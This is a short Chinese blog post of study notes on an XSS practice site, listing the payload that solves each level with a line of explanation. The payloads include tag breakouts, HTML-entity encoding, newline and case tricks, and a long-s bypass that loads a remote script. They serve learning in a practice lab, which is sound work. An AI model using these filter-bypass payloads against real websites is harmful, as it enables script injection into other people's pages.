Channy's blog

//Description: 通过xss攻击学习xss的一点笔记

//Create Date: 2020-02-20 00:09:20

//Author: channy

ssh_notes

练习页面

前言:做了两题终于弄明白,目标是要使页面显示”alert(1)”

  1. 直接输入”alert(1)”?
<script>alert(1)</script>
  1. 类似于xml,匹配去掉前面的<textarea>
</textarea><script>alert(1)</script>
  1. 括号闭合去掉前面的input
"><script>alert(1)</script>
  1. html: #40; -> ( ; #41 -> ) .
<img src="" onerror="alert&#40;1&#41;"/>
--!><img src="" onerror="alert&#40;1&#41;"/>
  1. 一定要image吗?前面的script怎么改?换行可以
type="image" src="" onerror
="alert(1)"
  1. 要与stripTagsRe匹配上才replace,所以不加右括号
<img src="" onerror="alert(1)"
  1. 貌似基本思想就是尽力去掉前面的tag,后面就可以加自己的了
</style
><img src="x" onerror="alert(1);">
  1. 输入需要包括domainRe的网址
https://www.segmentfault.com<img src="" onerror="alert(1)"

A. 一个知识点,就是@,如果你访问 www.baidu.com@www.google.com,那么你最后进入的是谷歌的界面。

这一关,就在自己的服务器上放一个js文件,写上“alert(1)”。

穷,没自己的服务器,测试不了了

https://www.segmentfault.com@xss.haozi.me/j.js

B. HTML对大小写是不敏感的,但是JavaScript对大小写敏感

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

C. 同上

D. 注释只能注释掉一行


alert(1)
-->

E. 前面加了“<_”并转换成了大写

但是ſ大写后为S,且其ascii值不与s相等,因此可以绕过

<ſcript src="https://xss.haozi.me/j.js"></script>

F.

');alert(1)//
alert(1)
  1. 转义的转义
");alert(1)//
\");alert(1)//

back